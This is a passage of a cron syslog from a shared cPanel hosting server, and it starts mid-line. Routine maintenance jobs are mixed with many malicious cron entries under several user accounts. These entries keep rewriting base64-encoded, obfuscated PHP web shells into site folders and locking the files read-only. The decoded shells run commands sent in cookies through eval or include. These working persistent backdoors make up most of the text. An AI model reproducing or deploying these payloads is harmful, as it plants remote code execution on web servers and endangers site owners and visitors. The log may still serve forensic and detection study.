E7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:37:02 medusa CROND[11842]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:37:02 medusa CROND[11843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:37:02 medusa CROND[11844]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:38:02 medusa CROND[18447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:38:02 medusa CROND[18446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:38:02 medusa CROND[18448]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:38:02 medusa CROND[18450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:38:02 medusa CROND[18453]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:38:02 medusa CROND[18456]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:38:02 medusa CROND[18457]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:38:02 medusa CROND[18454]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:38:02 medusa CROND[18458]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:38:02 medusa CROND[18459]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:38:02 medusa CROND[18460]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:38:02 medusa CROND[18465]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:38:02 medusa CROND[18474]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:39:02 medusa CROND[25563]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:39:02 medusa CROND[25564]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 00:39:02 medusa CROND[25565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:39:02 medusa CROND[25566]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:39:02 medusa CROND[25567]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:39:02 medusa CROND[25571]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:39:02 medusa CROND[25578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:39:02 medusa CROND[25581]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:39:02 medusa CROND[25582]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:39:02 medusa CROND[25583]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:39:02 medusa CROND[25584]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:39:02 medusa CROND[25585]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:39:02 medusa CROND[25586]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:39:02 medusa CROND[25587]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:40:01 medusa CROND[30895]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:40:01 medusa CROND[31073]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:40:01 medusa CROND[31074]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:40:01 medusa CROND[31075]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:40:01 medusa CROND[31077]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:40:01 medusa CROND[31076]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:40:01 medusa CROND[31084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:40:01 medusa CROND[31081]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 00:40:01 medusa CROND[31094]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
